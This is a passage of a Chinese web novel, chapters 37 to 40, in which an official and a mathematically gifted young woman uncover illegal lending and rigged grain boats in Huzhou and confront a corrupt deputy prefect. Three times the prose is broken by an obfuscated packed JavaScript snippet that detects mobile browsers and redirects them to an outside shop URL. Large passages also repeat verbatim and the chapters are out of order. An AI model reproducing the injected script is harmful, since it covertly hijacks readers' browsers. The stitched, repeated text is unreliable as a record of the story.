明明外面是还是粉黛瓦房,内里却是破败灰黄的夯土房。 沈瑜春推开歪歪斜斜一动就嘎吱作响的木门,姜琰一脚踩下地上疯狂生长的杂草,此时已经入夏,草汁充沛,踩下去时地上留下一条湿润的痕迹,就好像死了一只小虫子一样。 杂草几乎要将这座小小的院子埋没,孤伶伶的小房子在不起眼的巷子角落里矗立着,临到门前,姜琰甚至能听到薄如脆纸的墙壁里头传来的几不可闻的微弱呼吸声。 沈瑜春敲了敲门:“苏叔叔,我是昭远。” 里面的人似乎颤抖了一下,然后传来虚弱地声音:“进、进来吧……” 姜琰跟在沈瑜春身后进了门,一进入屋里,她便闻到了一股冲天的霉味儿。 她感觉房间四方都被一张沁满水的抹布罩住,终日不见阳光的屋子里一个瘦如枯骨的老人命不久矣,明明也是一州知州,但自己的屋内一张自画一件像样的茶具都没有,有的只是发霉的被褥,被湿气腐烂的墙角,她踩在沼泽一样的地上,才站了一会儿就感觉喘不过气来了。 沈瑜春向塌上的人行叩首礼,这是只敬天敬地敬祖先的大礼,但在某些时候也能敬师长。 塌上的人看到他行这个礼,原本无力耷拉着的眼皮微微向上提了一点,他有些惊讶,努力地张开嘴想说些什么,但一开口便是嘶嘶啦啦的风箱声:“阿远……你怎么来了……” 沈瑜春上前扶起想要直起身子的苏巍,用陶壶给他倒了碗水,苏巍清了清嗓子,但还是有气无力地说道:“你们来湖州巡查了呀……” 姜琰看着面前脸色苍白,瘦如枯槁的中年男子,心中一惊,沈瑜春只说苏巍生了病,但没说他病得如此严重,这明显是活不了多久了啊。 “是。” 苏巍老如树皮的脸上咧出一个笑容,细细密密的裂口在他嘴角蔓延,他的眼神黑黝黝的,却看不出任何情绪波动,就像即将被宰的羔羊:“你们终于来了。” “……” 沈瑜春紧皱眉头,姜琰觉得他现在心里肯定复杂极了。 苏巍拍了拍沈瑜春的手,又看向姜琰,笑吟吟地道:“这位小女郎生得俊俏,阿远你不介绍介绍?” 姜琰看沈瑜春还深陷自责之中,上前屈膝行礼道:“小女姓姜名琰。” “哦……”苏巍恍然,扬了扬头,眼里有了一丝光亮,“你是这小子的……” 姜琰一下子红了脸,急着解释道:“不不不,苏大人你误会了,我只是跟在沈大人身边帮他……” 姜琰卡壳了,她不知道该怎么和别人解释她是因为算学天赋才被沈瑜春就在身边帮她的,可她没有官位,跟在沈瑜春身边只会被人误认为是他的亲眷。 一盆冷水将她泼醒,她突然对这种事感到了厌倦。 不想跟在他后面向不明所以的人们解释她的身份,不想再看到这些人眼里暧昧不明的眼神。 这种微妙的情绪不合时宜地冒了出来,沈瑜春说道:“姜小姐算学天赋过人,此次来湖州,多亏有她,我们才能找到杨星连露出的马脚。” 苏巍听到这话,那张麻木的脸上终于有了一丝喜色:“他……他……” 沈瑜春道:“他现在在府衙里押着。” 倏然,苏巍像一只被震飞的死虫子一样从床上弹起:“你觉得那莫山岳是个好人?!你怎能如此糊涂!” 沈瑜春连忙安抚住他:“户部的人在看着,还有我大哥的人也在……他们应该不敢耍花招。” “咳咳咳咳……”苏巍胸膛剧烈起伏着,他痛苦地将咽喉中的血沫咽下,“他们真的太过分了,真的太过分了,我的身体是不行了,没有办法阻止他们!” 姜琰走过来问道:“他们到底干了什么伤天害理的事情?” 苏巍看了她一眼道:“放贷。” 姜琰心道果真如此,眼睛冒光道:“大人可有证据?” 苏巍摇了摇头:“我若是有证据,也不会急火攻心,一夜之间病倒。” 他用仅有的力气捶床愤懑道:“若不是他们放贷,我的妻子就不会因为羞愧而自尽了!” “什么?!” 姜琰惊呼出声,好家伙,原来唯一的受害者在这儿啊。 湖州城内所有的百姓都对湖州政府赞口不绝,哪怕是乔装成城郊农户暗中探查,也没有一个百姓说湖州政府的不好,也正是因为这些原因他们一直没找到事情的缺口。 然而沈瑜春似乎比姜琰更加震惊:“兰姨竟然是因为这个才谢世的吗!” “您怎么不写信告知我啊!” 苏巍冷哼一声:“你久在庙堂之上,我只是一州知州而已,你可知我要经历多少层大大小小的官员才能将文书呈递到你的手上吗,更别提其中还有一些别的党派的人卡着。” “而且自从兰淑出事,我意识到不对便四处搜寻他们的罪证,可惜我这个身体不争气,还未查到零点有利的线索,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612155|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被莫山岳那个贼人以我身体欠佳为由,将我软禁起来,你进来时没看到外面有人吧?” 沈瑜春摇摇头。 苏巍嗤笑道:“这就对喽,他们只会躲在暗处,就像见不得光的老鼠一样,偷吃家里的米面,让人恶心又无可奈何!不过恐怕你前脚刚迈进我家中的大门,下一刻这动静便回传到莫山岳那里!” 他越说越气愤,脸色涨红,声音愈发大了起来,冲着外面喊道:“越是不让老夫说,老夫越要说,你们这些蛀虫,这些碎催,见不得人的东西,你们越害怕,公正之声便会滚滚震耳传向天下,我苏还与根本不怕!” “只可惜我的兰淑……” 他又哭又笑,一张脸扭曲着仿佛一颗心都被撕成了两半。 姜琰和沈瑜春有些无措,他们不知道该怎么安慰这位还未过丧妻之痛的男人。 等他发泄完了,姜琰才小心翼翼开口问道:“苏大人……我能问问令正为什么离开吗,就是……” 苏巍平静地看着她:“我知道,你想问我具体的原因。” 姜琰点了点头,但是又在看到苏巍脸上的哀痛时及时解释道:“您如果不想说,就不说了……” 苏巍摇头:“说也无妨,我岳家听信了他们的话将钱借给他们已经好长一段时间了,大概两三年左右,兰淑怕影响我的仕途将这件事瞒得死死的,也不告诉我,还是我那小舅子患了咳疾,散尽家财也无法医治,岳家公无奈之下只好求莫山岳把钱还给他们,结果莫山岳出尔反尔,根本拿不出钱,当初她莫山岳打得是我同僚的名号啊,若不是信任她,怎会把钱给他!” 苏巍越说越说,泪水泡在眼眶里感觉眼珠子都要涨出来了,血丝如水草一般在眼白上浮动,涕泗横流,声音发闷:“他不拿钱给她家,她弟弟就没法治病,小舅子死了,丈人丈母郁郁而终,发妻也含恨而终,可恶啊,当真可恶啊!” 姜琰不由得想起了那些被信用卡折磨的苦不堪言的现代人。 贷款对于借贷双方都是枷锁。 这其实是一个非常简单的事情,苏巍只用了几句话就交待完了整件事情的经过,可他的余生都会在无尽的痛苦中度过。 沈瑜春看着如叔如父的苏巍如此难过,也不知如何安慰他,毕竟苏巍比他年长,又博闻强识,宽慰人的话他自己都在心里说了很多遍了,多说无益,他也只能沉痛地叹息一声。 姜琰将怀中锦囊里的铁钉拿出,问他道:“大人,你可知漕运使司杨星连也参与其中?” 苏巍大惊:“这……我不知道啊。” 姜琰道:“前些日子与我相识的账房死于一场沉船意外,我安葬他时发现了这枚铁钉,我突然想到在看漕运司账务时,发现账簿上铁钉成本远远高于建造一艘普通漕船的花费……” “你是说……” “是了,”姜琰目光炯然,“若是我们有文书能进到府衙去看一看,看这艘是否是漕运司所造,那么就能撬开杨星连的嘴,让他坦白。” “老夫明白了!” 他挣扎着起身,沈瑜春虚扶着他来到桌上,拂去纸上的灰尘,拿起笔快速地写了几行字,随后再从木枕底下掏出知州官印,重重盖了上去。 “这样可行?” 沈瑜春拿过来后认真看了一遍,随后收起来道:“麻烦苏叔了。” 苏巍仍然气愤不已:“查,一定要好好地查,不将他们枭首我苏某九泉之下也必定不会安息!” 38.第 38 章 看着手上的批文,姜琰觉得一切也太顺利了。 头顶上的太阳毒辣,她脚下穿得还是软底缎面绣花鞋,虽然脚下路面干净平坦,到她走在上面,硌脚是一回事,脚底火烤似的疼又是另一回事。 她对着太阳翻了个白眼。 却不料被沈瑜春看到。 “这个……沈大人,我不是冲你……诶,你干什么?” 姜琰感觉身体被一股外力拉着向前,胳膊上有点凉,一看是沈瑜春拉着她向河边小亭中走去。 湖州多水,不少小亭建在水中,长长连廊将水上凉亭连起,河中碧波荡漾,廊中歌女凭栏倚唱。 吴侬软语的吟唱在沿着河岸随风拂过,姜琰感觉自己烦躁的心情好了许多,就在姜琰为沈瑜春的体贴感动时,沈瑜春突然弯下腰捶了捶腿。 “……” 好家伙,原来他是自己累啊。 她看着沈瑜春痛苦皱眉的模样,淡淡问道:“所以我们为什么不坐车?” 沈瑜春直起身子:“从苏府到府衙不过百步,坐车会被御史批评行事高调铺张。” 姜琰再次沉默:原来这就是体制内吗。 “好吧……”姜琰觉得就算御史不批评他,他也不坐车。 二人停坐片刻,姜琰觉得脚上疼痛减轻了不少,步伐不自觉加快,走着走着突然发现自己身边少了个人,回头一看,沈瑜春在后面一瘸一拐地踉跄向她走来。 然而最精彩的还是他脸上五彩斑斓变幻莫测的神色。 她无奈地回头说道:“就算没有御史,你也会走路的对吧。” 沈瑜春正色道:“以身作则。” “……” 姜琰笑得有些狭促:“那你走快点呀,甘蔗大人。” 沈瑜春的脸彻底黑了。 姜琰转身继续向前走着,在她看不见的地方,沈瑜春偷偷纠正道:“以身作则。” …… 府衙大门紧闭,姜琰看着严丝合缝的黑底锡环大门,感觉身旁张着大嘴獬豸正咧着嘴嘲笑他们。 姜琰上前重重叩响门环,无人应答,原本应该守在门前的衙役也没有,她看向门前身后稳如老狗的沈瑜春道:“这怎么办?” 沈瑜春没有回话,只是轻轻向前挥了挥手,须臾间,数十道黑影从周围涌来。 姜琰道:“又来?” “不过既然知州大人卧病在床,同知莫山岳又是个不安好心的,那前日押解杨星连的人是谁?杨星连现在在哪?” 沈瑜春没有说话,也没有故作玄虚,而是直接掀开这些暂且算作衙役的打手们,将其中一人的袖口翻开,发现里面是白底淡金竹纹里衣。 这应该就是沈家亲卫了。 沈家是翰林世家,不像别的家族手握兵权,举足轻重,圣上拨一两支亲兵给他们当沈家自己的护卫也无可厚非,只是没想到原来权利还可以这么使用,某个家族的私卫将一州府衙团团围住,真是让人看了闹笑话。 见状她问道:“沈家私卫公然围住府衙,让人看了不好吧。” 她虽然问得小心翼翼,但实际话语里并于担忧,全是讥讽,想来同知先是把同僚害得家破人亡,属地内那么多账房离奇死亡也不作为,明明不是休沐日还将府衙大门紧紧关上,光这件事就够御史们在朝中参他一本了。 自己做事不厚道,沈瑜春这么干反而叫他更加丢脸。 沈瑜春静静站在门前,长身玉立,姜琰道:“大人你不说两句?” 放个狠话什么的,譬如山岳老贼,再不出来我将府衙一锅端了种种。 沈瑜春也难得狭促,淡色的眸子泛着盈盈的光:“他会出来的,估计在里面急得擦汗呢。” 姜琰却不相信,笃定道:“万一不出来在里面烧船呢?” 沈瑜春道:“你看里面冒烟吗?” 姜琰还是不放心:“那万一他们把船拆了……” 沈瑜春稳住她道:“放心”,他眨了下眼,“这就是权力。” 他望着她道:“你也可以有。” 姜琰愣了一瞬,还未开口回应他,便听轰的一声门开,一个有点胖的中年男人扶着头顶的乌纱帽跑了出来:“小人来迟,还请大人恕罪!” 沈瑜春也没有急着戳穿他,而是笑吟吟地问道:“莫大人为何将府衙大门紧紧关起?若是百姓有冤,你审也不审?” 莫山岳连忙点头道:“审!审自然是要审的!只是最近天热,酷暑难耐,下官也是头晕目眩,只是稍稍休息了半天而已,大人您就来了……唉……” 姜琰又在心里翻了个白眼。 沈瑜春却道:“啊,能理解,湖州潮热,本官初来此地也不太适应。” 莫山岳擦了擦额头的汗:“大人通情达理,下官真是……真是感到莫大的荣幸啊!” 沈瑜春问他道:“莫大人可知我为何而来,我来了这么久你也不问一句,不知道得还以为你眼观六路,耳听八方,连我的一举一动都知道。” 莫山岳怔愣片刻后问道:“大人您是来……查帐的?户房众人都在,随时可以来查……我这句话说错了?为何您身后的小女郎瞪我啊?” 沈瑜春回头看了一眼,姜琰正气鼓鼓地盯着莫山岳。 敢情只有财务不休息是吧! 沈瑜春在回头时偷偷勾起了嘴唇,在看向莫山岳时自然保持着这个微笑,只不过眼神古井无波,泛不起丝毫的涟漪,他明明是笑着的,声音却冷若冰窟:“莫大人,今天咱们不看账。” 莫山岳装傻道:“不看账看什么啊?” 沈瑜春道:“前段时间有诸多账房死于沉船,其中恰好有我父亲故友,我替他敛了尸,告知了我父亲,家父大恸,让我一定要问个清楚。” “最重要的是,我听说这船是坏的。” 看着手上的批文,姜琰觉得一切也太顺利了。 头顶上的太阳毒辣,她脚下穿得还是软底缎面绣花鞋,虽然脚下路面干净平坦,到她走在上面,硌脚是一回事,脚底火烤似的疼又是另一回事。 她对着太阳翻了个白眼。 却不料被沈瑜春看到。 “这个……沈大人,我不是冲你……诶,你干什么?” 姜琰感觉身体被一股外力拉着向前,胳膊上有点凉,一看是沈瑜春拉着她向河边小亭中走去。 湖州多水,不少小亭建在水中,长长连廊将水上凉亭连起,河中碧波荡漾,廊中歌女凭栏倚唱。 吴侬软语的吟唱在沿着河岸随风拂过,姜琰感觉自己烦躁的心情好了许多,就在姜琰为沈瑜春的体贴感动时,沈瑜春突然弯下腰捶了捶腿。 “……” 好家伙,原来他是自己累啊。 她看着沈瑜春痛苦皱眉的模样,淡淡问道:“所以我们为什么不坐车?” 沈瑜春直起身子:“从苏府到府衙不过百步,坐车会被御史批评行事高调铺张。” 姜琰再次沉默:原来这就是体制内吗。 “好吧……”姜琰觉得就算御史不批评他,他也不坐车。 二人停坐片刻,姜琰觉得脚上疼痛减轻了不少,步伐不自觉加快,走着走着突然发现自己身边少了个人,回头一看,沈瑜春在后面一瘸一拐地踉跄向她走来。 然而最精彩的还是他脸上五彩斑斓变幻莫测的神色。 她无奈地回头说道:“就算没有御史,你也会走路的对吧。” 沈瑜春正色道:“以身作则。” “……” 姜琰笑得有些狭促:“那你走快点呀,甘蔗大人。” 沈瑜春的脸彻底黑了。 姜琰转身继续向前走着,在她看不见的地方,沈瑜春偷偷纠正道:“以身作则。” … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜琰愣了一瞬,还未开口回应他,便听轰的一声门开,一个有点胖的中年男人扶着头顶的乌纱帽跑了出来:“小人来迟,还请大人恕罪!” 沈瑜春也没有急着戳穿他,而是笑吟吟地问道:“莫大人为何将府衙大门紧紧关起?若是百姓有冤,你审也不审?” 莫山岳连忙点头道:“审!审自然是要审的!只是最近天热,酷暑难耐,下官也是头晕目眩,只是稍稍休息了半天而已,大人您就来了……唉……” 姜琰又在心里翻了个白眼。 沈瑜春却道:“啊,能理解,湖州潮热,本官初来此地也不太适应。” 莫山岳擦了擦额头的汗:“大人通情达理,下官真是……真是感到莫大的荣幸啊!” 沈瑜春问他道:“莫大人可知我为何而来,我来了这么久你也不问一句,不知道得还以为你眼观六路,耳听八方,连我的一举一动都知道。” 莫山岳怔愣片刻后问道:“大人您是来……查帐的?户房众人都在,随时可以来查……我这句话说错了?为何您身后的小女郎瞪我啊?” 沈瑜春回头看了一眼,姜琰正气鼓鼓地盯着莫山岳。 敢情只有财务不休息是吧! 沈瑜春在回头时偷偷勾起了嘴唇,在看向莫山岳时自然保持着这个微笑,只不过眼神古井无波,泛不起丝毫的涟漪,他明明是笑着的,声音却冷若冰窟:“莫大人,今天咱们不看账。” 莫山岳装傻道:“不看账看什么啊?” 沈瑜春道:“前段时间有诸多账房死于沉船,其中恰好有我父亲故友,我替他敛了尸,告知了我父亲,家父大恸,让我一定要问个清楚。” “最重要的是,我听说这船是坏的。” 39.第 39 章 在去府衙的路上,姜琰再次不放心地问道:“大人,咱们就这么去了?” 沈瑜春脚底生风:“不然?” 姜琰将自己的担心说出来:“若是府衙的知州大人和杨星连有利益关系怎么办?他难道不会包庇他吗?” 沈瑜春丝毫没有放慢脚下的步伐,依然是昂头向前走着:“知州苏大人,曾是我父亲手下的门生。” 姜琰不知道该怎么回他了,心道人终究是会变得,哪怕当时的苏大人立志为天地立心,为生明立命,但时过境迁,这么多年,人的心态终究是会变化的。 她欲言又止地看向沈瑜春,犹豫很久后抛出了自己的疑问:“我有一事不明。” 沈瑜春身形一顿,顺着她这句话说出了她的问题:“你是想问既然苏大人是个好官,为何会对账房沉船一事睁眼闭眼?” 姜琰点点头,是了,如果苏巍真的初心不变,为何不严查府内种种诡谲事端? 沈瑜春却道:“你去看了就知道了。” 谈话间二人已到府衙,姜琰几欲停下,可沈瑜春还在继续向前走,姜琰见状指着府衙道:“大人不是在这儿吗……诶?你拉我干嘛?” 姜琰还没站定,沈瑜春拉着她伸出来的手道:“不去府衙。” 姜琰发懵道:“知州不在府衙,那在哪?” 沈瑜春向前走了几步,目光沉沉:“苏大人这个月初就开始告病在家休养,目前湖州辖内的各项事宜,是由同知莫大人代理。” 怪不得,姜琰心想,怪不得要去找知州,感情是因为苏大人身体不好逃过一劫,要是找得是同知莫大人,他们又要吃闭门羹了。 府衙离知州宅邸并不远,两处在一条街的一条巷子里,大概走十几步便到了,只不过虽然在一处,但周遭环境却是天差地别,府衙在城中心,周围是络绎不绝的车马和叫喊的商贩,热闹极了,而苏大人宅邸在巷子深处,越往里走,越僻静寒酸。 明明外面是还是粉黛瓦房,内里却是破败灰黄的夯土房。 沈瑜春推开歪歪斜斜一动就嘎吱作响的木门,姜琰一脚踩下地上疯狂生长的杂草,此时已经入夏,草汁充沛,踩下去时地上留下一条湿润的痕迹,就好像死了一只小虫子一样。 杂草几乎要将这座小小的院子埋没,孤伶伶的小房子在不起眼的巷子角落里矗立着,临到门前,姜琰甚至能听到薄如脆纸的墙壁里头传来的几不可闻的微弱呼吸声。 沈瑜春敲了敲门:“苏叔叔,我是昭远。” 里面的人似乎颤抖了一下,然后传来虚弱地声音:“进、进来吧……” 姜琰跟在沈瑜春身后进了门,一进入屋里,她便闻到了一股冲天的霉味儿。 她感觉房间四方都被一张沁满水的抹布罩住,终日不见阳光的屋子里一个瘦如枯骨的老人命不久矣,明明也是一州知州,但自己的屋内一张自画一件像样的茶具都没有,有的只是发霉的被褥,被湿气腐烂的墙角,她踩在沼泽一样的地上,才站了一会儿就感觉喘不过气来了。 沈瑜春向塌上的人行叩首礼,这是只敬天敬地敬祖先的大礼,但在某些时候也能敬师长。 塌上的人看到他行这个礼,原本无力耷拉着的眼皮微微向上提了一点,他有些惊讶,努力地张开嘴想说些什么,但一开口便是嘶嘶啦啦的风箱声:“阿远……你怎么来了……” 沈瑜春上前扶起想要直起身子的苏巍,用陶壶给他倒了碗水,苏巍清了清嗓子,但还是有气无力地说道:“你们来湖州巡查了呀……” 姜琰看着面前脸色苍白,瘦如枯槁的中年男子,心中一惊,沈瑜春只说苏巍生了病,但没说他病得如此严重,这明显是活不了多久了啊。 “是。” 苏巍老如树皮的脸上咧出一个笑容,细细密密的裂口在他嘴角蔓延,他的眼神黑黝黝的,却看不出任何情绪波动,就像即将被宰的羔羊:“你们终于来了。” “……” 沈瑜春紧皱眉头,姜琰觉得他现在心里肯定复杂极了。 苏巍拍了拍沈瑜春的手,又看向姜琰,笑吟吟地道:“这位小女郎生得俊俏,阿远你不介绍介绍?” 姜琰看沈瑜春还深陷自责之中,上前屈膝行礼道:“小女姓姜名琰。” “哦……”苏巍恍然,扬了扬头,眼里有了一丝光亮,“你是这小子的……” 姜琰一下子红了脸,急着解释道:“不不不,苏大人你误会了,我只是跟在沈大人身边帮他……” 姜琰卡壳了,她不知道该怎么和别人解释她是因为算学天赋才被沈瑜春就在身边帮她的,可她没有官位,跟在沈瑜春身边只会被人误认为是他的亲眷。 一盆冷水将她泼醒,她突然对这种事感到了厌倦。 不想跟在他后面向不明所以的人们解释她的身份,不想再看到这些人眼里暧昧不明的眼神。 这种微妙的情绪不合时宜地冒了出来,沈瑜春说道:“姜小姐算学天赋过人,此次来湖州,多亏有她,我们才能找到杨星连露出的马脚。” 苏巍听到这话,那张麻木的脸上终于有了一丝喜色:“他……他……” 沈瑜春道:“他现在在府衙里押着。” 倏然,苏巍像一只被震飞的死虫子一样从床上弹起:“你觉得那莫山岳是个好人?!你怎能如此糊涂!” 沈瑜春连忙安抚住他:“户部的人在看着,还有我大哥的人也在……他们应该不敢耍花招。” “咳咳咳咳……”苏巍胸膛剧烈起伏着,他痛苦地将咽喉中的血沫咽下,“他们真的太过分了,真的太过分了,我的身体是不行了,没有办法阻止他们!” 姜琰走过来问道:“他们到底干了什么伤天害理的事情?” 苏巍看了她一眼道:“放贷。” 姜琰心道果真如此,眼睛冒光道:“大人可有证据?” 苏巍摇了摇头:“我若是有证据,也不会急火攻心,一夜之间病倒。” 他用仅有的力气捶床愤懑道:“若不是他们放贷,我的妻子就不会因为羞愧而自尽了!” “什么?!” 姜琰惊呼出声,好家伙,原来唯一的受害者在这儿啊。 湖州城内所有的百姓都对湖州政府赞口不绝,哪怕是乔装成城郊农户暗中探查,也没有一个百姓说湖州政府的不好,也正是因为这些原因他们一直没找到事情的缺口。 然而沈瑜春似乎比姜琰更加震惊:“兰姨竟然是因为这个才谢世的吗!” “您怎么不写信告知我啊!” 苏巍冷哼一声:“你久在庙堂之上,我只是一州知州而已,你可知我要经历多少层大大小小的官员才能将文书呈递到你的手上吗,更别提其中还有一些别的党派的人卡着。” “而且自从兰淑出事,我意识到不对便四处搜寻他们的罪证,可惜我这个身体不争气,还未查到零点有利的线索,便被莫山岳那个贼人以我身体欠佳为由,将我软禁起来,你进来时没看到外面有人吧?” 沈瑜春摇摇头。 苏巍嗤笑道:“这就对喽,他们只会躲在暗处,就像见不得光的老鼠一样,偷吃家里的米面,让人恶心又无可奈何!不过恐怕你前脚刚迈进我家中的大门,下一刻这动静便回传到莫山岳那里!” 他越说越气愤,脸色涨红,声音愈发大了起来,冲着外面喊道:“越是不让老夫说,老夫越要说,你们这些蛀虫,这些碎催,见不得人的东西,你们越害怕,公正之声便会滚滚震耳传向天下,我苏还与根本不怕!” “只可惜我的兰淑……” 他又哭又笑,一张脸扭曲着仿佛一颗心都被撕成了两半。 姜琰和沈瑜春有些无措,他们不知道该怎么安慰这位还未过丧妻之痛的男人。 等他发泄完了,姜琰才小心翼翼开口问道:“苏大人……我能问问令正为什么离开吗,就是……” 苏巍平静地看着她:“我知道,你想问我具体的原因。” 姜琰点了点头,但是又在看到苏巍脸上的哀痛时及时解释道:“您如果不想说,就不说了……” 苏巍摇头:“说也无妨,我岳家听信了他们的话将钱借给他们已经好长一段时间了,大概两三年左右,兰淑怕影响我的仕途将这件事瞒得死死的,也不告诉我,还是我那小舅子患了咳疾,散尽家财也无法医治,岳家公无奈之下只好求莫山岳把钱还给他们,结果莫山岳出尔反尔,根本拿不出钱,当初她莫山岳打得是我同僚的名号啊,若不是信任她,怎会把钱给他!” 苏巍越说越说,泪水泡在眼眶里感觉眼珠子都要涨出来了,血丝如水草一般在眼白上浮动,涕泗横流,声音发闷:“他不拿钱给她家,她弟弟就没法治病,小舅子死了,丈人丈母郁郁而终,发妻也含恨而终,可恶啊,当真可恶啊!” 姜琰不由得想起了那些被信用卡折磨的苦不堪言的现代人。 贷款对于借贷双方都是枷锁。 这其实是一个非常简单的事情,苏巍只用了几句话就交待完了整件事情的经过,可他的余生都会在无尽的痛苦中度过。 沈瑜春看着如叔如父的苏巍如此难过,也不知如何安慰他,毕竟苏巍比他年长,又博闻强识,宽慰人的话他自己都在心里说了很多遍了,多说无益,他也只能沉痛地叹息一声。 姜琰将怀中锦囊里的铁钉拿出,问他道:“大人,你可知漕运使司杨星连也参与其中?” 苏巍大惊:“这……我不知道啊。” 姜琰道:“前些日子与我相识的账房死于一场沉船意外,我安葬他时发现了这枚铁钉,我突然想到在看漕运司账务时,发现账簿上铁钉成本远远高于建造一艘普通漕船的花费……” “你是说……” “是了,”姜琰目光炯然,“若是我们有文书能进到府衙去看一看,看这艘是否是漕运司所造,那么就能撬开杨星连的嘴,让他坦白。” “老夫明白了!” 他挣扎着起身,沈瑜春虚扶着他来到桌上,拂去纸上的灰尘,拿起笔快速地写了几行字,随后再从木枕底下掏出知州官印,重重盖了上去。 “这样可行?” 沈瑜春拿过来后认真看了一遍,随后收起来道:“麻烦苏叔了。” 苏巍仍然气愤不已:“查,一定要好好地查,不将他们枭首我苏某九泉之下也必定不会安息!” 看着手上的批文,姜琰觉得一切也太顺利了。 头顶上的太阳毒辣,她脚下穿得还是软底缎面绣花鞋,虽然脚下路面干净平坦,到她走在上面,硌脚是一回事,脚底火烤似的疼又是另一回事。 她对着太阳翻了个白眼。 却不料被沈瑜春看到。 “这个……沈大人,我不是冲你……诶,你干什么?” 姜琰感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈瑜春没有说话,也没有故作玄虚,而是直接掀开这些暂且算作衙役的打手们,将其中一人的袖口翻开,发现里面是白底淡金竹纹里衣。 这应该就是沈家亲卫了。 沈家是翰林世家,不像别的家族手握兵权,举足轻重,圣上拨一两支亲兵给他们当沈家自己的护卫也无可厚非,只是没想到原来权利还可以这么使用,某个家族的私卫将一州府衙团团围住,真是让人看了闹笑话。 见状她问道:“沈家私卫公然围住府衙,让人看了不好吧。” 她虽然问得小心翼翼,但实际话语里并于担忧,全是讥讽,想来同知先是把同僚害得家破人亡,属地内那么多账房离奇死亡也不作为,明明不是休沐日还将府衙大门紧紧关上,光这件事就够御史们在朝中参他一本了。 自己做事不厚道,沈瑜春这么干反而叫他更加丢脸。 沈瑜春静静站在门前,长身玉立,姜琰道:“大人你不说两句?” 放个狠话什么的,譬如山岳老贼,再不出来我将府衙一锅端了种种。 沈瑜春也难得狭促,淡色的眸子泛着盈盈的光:“他会出来的,估计在里面急得擦汗呢。” 姜琰却不相信,笃定道:“万一不出来在里面烧船呢?” 沈瑜春道:“你看里面冒烟吗?” 姜琰还是不放心:“那万一他们把船拆了……” 沈瑜春稳住她道:“放心”,他眨了下眼,“这就是权力。” 他望着她道:“你也可以有。” 姜琰愣了一瞬,还未开口回应他,便听轰的一声门开,一个有点胖的中年男人扶着头顶的乌纱帽跑了出来:“小人来迟,还请大人恕罪!” 沈瑜春也没有急着戳穿他,而是笑吟吟地问道:“莫大人为何将府衙大门紧紧关起?若是百姓有冤,你审也不审?” 莫山岳连忙点头道:“审!审自然是要审的!只是最近天热,酷暑难耐,下官也是头晕目眩,只是稍稍休息了半天而已,大人您就来了……唉……” 姜琰又在心里翻了个白眼。 沈瑜春却道:“啊,能理解,湖州潮热,本官初来此地也不太适应。” 莫山岳擦了擦额头的汗:“大人通情达理,下官真是……真是感到莫大的荣幸啊!” 沈瑜春问他道:“莫大人可知我为何而来,我来了这么久你也不问一句,不知道得还以为你眼观六路,耳听八方,连我的一举一动都知道。” 莫山岳怔愣片刻后问道:“大人您是来……查帐的?户房众人都在,随时可以来查……我这句话说错了?为何您身后的小女郎瞪我啊?” 沈瑜春回头看了一眼,姜琰正气鼓鼓地盯着莫山岳。 敢情只有财务不休息是吧! 沈瑜春在回头时偷偷勾起了嘴唇,在看向莫山岳时自然保持着这个微笑,只不过眼神古井无波,泛不起丝毫的涟漪,他明明是笑着的,声音却冷若冰窟:“莫大人,今天咱们不看账。” 莫山岳装傻道:“不看账看什么啊?” 沈瑜春道:“前段时间有诸多账房死于沉船,其中恰好有我父亲故友,我替他敛了尸,告知了我父亲,家父大恸,让我一定要问个清楚。” “最重要的是,我听说这船是坏的。” 40.第 40 章 沈瑜春神形一滞:“可是姜姑娘,我们已经说好......” 姜琰摇头:“来不及了,我现在非常需要这个东西。” 沈瑜春蹙眉:“可是官印乃一方官员象征,所谓‘令行万里,执掌权衡’,不能轻易交予他人之手。” 姜琰心想我当然知道,她以前在公司的时候办公室门都是锁着的,就怕有人偷章,她对此也表示理解:“大人说的是这个理,但是......” 沈瑜春知道她是实在着急才出此下策,也不为难:“姜小姐可否告知沈某为要借我的官印?” 姜琰也不知道该怎么解释,无措又焦急道:“我都说了是为了解决还贷一事......” 沈瑜春根本不吃这一套,直截了当地打断她道:“仔细说说。” “......”姜琰吃了个哑巴亏,“抱歉,具体的原因我不便说。” 二人一下子又陷入僵局,不是沈瑜春不愿给,莫山岳还在这儿,他就这么堂而皇之地把官印交给一个无关之人,这实在是说不过去。 沈瑜春目光沉沉地看了她一会儿,突然轻笑了一声,腔调懒洋洋地,声线微哑,与他往常如同空谷幽涧的清冽嗓音完全不同,似乎是有点无奈:“那沈某便不能交出官印了。” “......好吧。” 姜琰也能理解,没有再强求他做出选择。 此时已经入夏,阴暗的房间内潮热难耐,三人待在里面都觉得呼吸困难,还是莫山岳稍微“矫情”一点,一把推开屋内的小门:“这天真是天热了,热得我里里外外都湿透了,等会儿高低要叫他们打桶水来好好给老夫洗一洗。” 沈瑜春闻言“啧”了一声:“你才不惑之年,何至于叫‘老夫’!” 莫山岳嗔怪地瞪了他一眼:“这是一种潇洒的态度......” 沈瑜春和姜琰一齐走出了门。 晦暗逼仄的小屋突然窥见天光,煞白的光亮把姜琰照得眼前一片花白,她有些站不稳,身形摇晃着,沈瑜春及时扶住了她。 